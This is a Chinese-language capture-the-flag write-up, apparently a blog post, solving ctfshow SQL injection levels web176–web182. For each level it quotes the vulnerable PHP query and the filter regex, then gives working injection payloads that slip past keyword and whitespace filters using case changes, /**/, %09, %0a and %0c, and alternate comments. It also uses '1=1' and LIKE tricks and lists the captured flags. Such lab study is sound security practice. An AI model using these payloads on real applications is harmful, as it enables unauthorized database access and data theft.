ctfshow-web入门-sql注入 2.无过滤注入(web176-web182)
web176
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}
题目没说过滤内容,可能过滤了union或select

经过尝试,发现过滤了select,使用大写绕过
1' union SELECT 1,2,3 --+

直接注入,获得flagctfshow{3463e776-c315-4f89-ac1e-16a0b314b6f3}
1' union SELECT id,username,password from ctfshow_user --+

web177
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}
解法1:
过滤了空格,不能直接用#、--+注释,可以用/**/(注释)或%0a(回车)或%09(制表符)代替空格,用%23(#)代替#注释
1'/**/union/**/select/**/id,username,password/**/from/**/ctfshow_user%23
或
1'%0aunion%0aselect%0aid,username,password%0afrom%0actfshow_user%23
或
1'%09union%09select%09id,username,password%09from%09ctfshow_user%23
得到flagctfshow{a7e2090d-8a2f-4616-9f07-6e532dbe8301}

解法2:
使用万能密码
1'or/**/1=1%23
得到flagctfshow{816d1666-45cb-43e1-ad98-9e6c1412074f}

web178
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}
/**/失效,但是%09和%0a依旧可用,直接使用上一题的payload,得到flagctfshow{b504a6c6-672c-46b5-8823-cfe5456d9985}

web179
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}
1'%23可以得到数据

1' %23 和 1%09'%23不行

过滤了空格,且上一题的几种方式都无法绕过
尝试使用bp爆破,在每个%0a的位置为a添加payload位置,爆破0-9和a-z,
发现为c时得到flag

则使用%0c代替空格,payload为:
1'%0cunion%0cselect%0cid,username,password%0cfrom%0cctfshow_user%23
或
1'or%0c1=1%23
得到flagctfshow{e26894cd-1e58-49ba-9e1e-125c4da30672}

web180
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}
%23也被过滤了,使用--%0c注释,得到flagctfshow{149a01be-dca3-4484-86ef-bc886efa215c}
1'%0cunion%0cselect%0cid,username,password%0cfrom%0cctfshow_user--%0c

web181
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}
闭合引号,查询用户名为flag的数据
-1'||username='flag

得到flagctfshow{c0fd1f50-4e0d-480c-9a70-4d9297f06e75}
不知道为什么1'or%0c1=1--%0c也能得到flag,题目提示过滤了,但是实际应该没有过滤

web182
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}
新增过滤了flag
解法1:
将username换成id,上一题的id是26,所以payload是
-1'||id='26

得到flagctfshow{a0079257-e244-412a-8af3-8d49492c117a}
解法2:
可以使用like模糊匹配
-1'||(username)like'fla%
like可以用两个通配符(不区分大小写):
| 字符 | 说明 |
|---|---|
| % | 匹配任何数目的字符,甚至包括零字符 |
| _ | 只能匹配一种字符 |
得到flag

此题%0c依旧可用
1'or%0c1=1--%0c

浙公网安备 33010602011771号